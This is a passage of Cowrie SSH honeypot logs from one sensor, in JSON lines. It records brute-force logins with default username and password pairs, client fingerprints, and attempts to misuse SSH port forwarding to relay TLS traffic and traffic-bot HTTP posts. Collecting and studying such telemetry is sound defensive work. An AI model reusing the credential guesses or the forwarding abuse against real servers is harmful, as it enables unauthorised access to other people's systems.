00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xb2\\xd3F\\x91&\\xcdU\\x91\\x12\\xa2\\xd6\\xe2\\xf1\\xc6\\x0eAqHK\\x01\\xe7\\xebC\\x98\\xbeP\\xcc\\x11d,' \\x84wru`\\xd5\\x1e\\xe0\\xd5\\xf3\\x16\\xe5\\x15\\x91\\x12\\xbcm\\xe5\\xc1\\x0c\\x00-H&\\xef_W\\xd3*\\xff\\x15\\x9c\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x9c\\x8c\\xc7\\x1eb+FE6`\\x04V$\\xaf\\xeb\\xce\\x1f]\\xc6\\x054\\x82\\x90\\x01\\x82f\\x89\\xc5\\xb0s\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.723462Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.732270Z","src_ip":"45.153.34.195","session":"503d07d8f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46880,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ae4f1a14603","protocol":"ssh","message":"New connection: 91.92.40.36:46880 (159.203.135.109:22) [session: 8ae4f1a14603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.919825Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.968930Z","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:19.210293Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\xe8\\x06,L\\xbe\\xcb\\x14\\x1d^\\xd3\\xf9l\\xa6\\x83\\x15\\xb9\\xa7&\\xe5Gch\\xfeW\\xe9f\\x00\\x98\\xf0w\\x99 *0\\xc9\\xf8\\xa1>\\x93\\x86\"K\\'/\\xec&\\x1dV\\xccl\\xc94\\xe1r\\xd9\\x10\\x00\\xc8b\\xbf\\xe4\\'\\xdf+\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 eKM\\xe6|\\xcb\\xcb\\xda`\\xe5\\x93\\x1b\\xd3\\xb8\\xcd\\xae@\\x93sG\\x01\\xbc\\xe22\\x1d\\xb9\\xd0\\x15SpEl\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\xe8\\x06,L\\xbe\\xcb\\x14\\x1d^\\xd3\\xf9l\\xa6\\x83\\x15\\xb9\\xa7&\\xe5Gch\\xfeW\\xe9f\\x00\\x98\\xf0w\\x99 *0\\xc9\\xf8\\xa1>\\x93\\x86\"K\\'/\\xec&\\x1dV\\xccl\\xc94\\xe1r\\xd9\\x10\\x00\\xc8b\\xbf\\xe4\\'\\xdf+\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 eKM\\xe6|\\xcb\\xcb\\xda`\\xe5\\x93\\x1b\\xd3\\xb8\\xcd\\xae@\\x93sG\\x01\\xbc\\xe22\\x1d\\xb9\\xd0\\x15SpEl\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:19.215724Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:19.887420Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25502,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e3c7e31ca6","protocol":"ssh","message":"New connection: 45.153.34.195:25502 (10.17.0.5:22) [session: 93e3c7e31ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:20.074581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:20.079170Z","src_ip":"45.153.34.195","session":"93e3c7e31ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:20.161540Z","src_ip":"45.153.34.195","session":"93e3c7e31ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"server","message":"login attempt [debian/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:20.425036Z","src_ip":"45.153.34.195","session":"93e3c7e31ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:21.508039Z","src_ip":"45.153.34.195","session":"93e3c7e31ca6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:21.963787Z","src_ip":"91.92.40.36","session":"8ae4f1a14603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:21.968324Z","src_ip":"91.92.40.36","session":"8ae4f1a14603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1","message":"login attempt [ubuntu/abcd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:22.136539Z","src_ip":"91.92.40.36","session":"799fa66d8f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwwdata","password":"wwwdata","message":"login attempt [wwwdata/wwwdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:22.833344Z","src_ip":"91.92.40.36","session":"5fd8c974c813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12658,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1176aa8520","protocol":"ssh","message":"New connection: 45.153.34.195:12658 (10.17.0.5:22) [session: 3c1176aa8520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:23.003558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:23.022932Z","src_ip":"45.153.34.195","session":"3c1176aa8520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:23.110567Z","src_ip":"45.153.34.195","session":"3c1176aa8520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openmediavault","message":"login attempt [root/openmediavault] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:23.421288Z","src_ip":"45.153.34.195","session":"3c1176aa8520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:24.505472Z","src_ip":"45.153.34.195","session":"3c1176aa8520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c6b61e11223","protocol":"ssh","message":"New connection: 91.92.40.36:46938 (159.203.135.109:22) [session: 1c6b61e11223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:24.776555Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:25.560325Z","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:25.621381Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/17A577 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZWFLRHBfWjlaeTxFdl9iUA%3D%3DVhALjJ54%2FLdlkGiuS%2Fhf5lHRkAIMquljL23S1LZgoahpvI34m8lrsJSrcrGl3z4dADOPjj0%2B2KcPHEbQdbG9QWF8v%2Bfk1MJtxTQJaFKcvU8SKgu8QSz8r7YxMnop%2FdayQ41vyEqJE2VTquTLNpjdCYT8btfzwLp5uWM3ejbQ4gaxTurv2RkGTgnxhBSQTWVPT8eF1fm%2F%2FNj1iapKqfciHgpW4mfyNlMzSHfHfSxm6FLiuEkFc3Lb%2FOg9dnmOePRErEH5%2BsM%2Bt3n%2FQSUDo3ZH9%2Bce8wwunI%2BjAHAaBPrdb9bzqO7qTQwiODKZzUPqrlNB7NMPiS5LtUhVpWULmP0rRgt4YPRgswqvfM8vbOf1X%2F6ktvzb3tNdNn%2B9GIjelDsU5CH84rGMBew%2Fp1nBJFXmTM0KRgEBrLuFWavKa2PrcLitetx2Lnqbbtak3YAw9Jcbta3aBq%2FzYAFJ6ysh2eIJc4B2ja%2F8xPTgO01ld6txT96hRUhLQMk4IW2D18zuIFGRK%2Bg7Sll1hNz2J2xfsGYUjSPKjo8%2BuS02jIKlzcjgpFi%2BUaGjIaqWH7pz4ZZGtuukzMY5%2B3hF5CsHphw8mRTEmqKqaWErjTumTso6yzf9Z%2FKWqwyu%2B1Bn07x0E1J01Lk2mnH%2FatSW4TUWxZmLPw8tQatDDmpDzx%2BPFwbhpciQp0jqkXIDYsCeTcMQMTPhEI2XF%2FgdAJCutE5Dnk%2BiRGC6dPQiTLd%2Fup4laSYydv3jaoRx6VxFe5ICMP4od6vLUhTk%2FKe%2FCpt7aWcPeTrbf%2BDd4JcItSIx0CIz65FuXQEav44QeP1Qh4OA03WBJI2I4FT5ye2fOkqy1ZjOTg4plp5Dqu4PS70ZKwnKSGnur%2BtBeCs5OBlUT2BfaoQMk2N9zO%2BvzhS3c6lQIz9U%2B3fwVp7Nhlsp7pvqkqS1V32ZqWKWuYtjQuw8I94YqtrjVL%2FumnmWcSiw%2FnpisMkpqWuAq1c8sl8LNsRk7Zy66KFi%2FkRVfm4daUpyoWaFPCcgdJ1pxA0vzvArSI0QvtvuawD1bAnPfu0whP2QVkiaM%2BeM3Ma%2FiI3xnv1NFbBvMJc68se%2BFcp6'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/17A577 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: 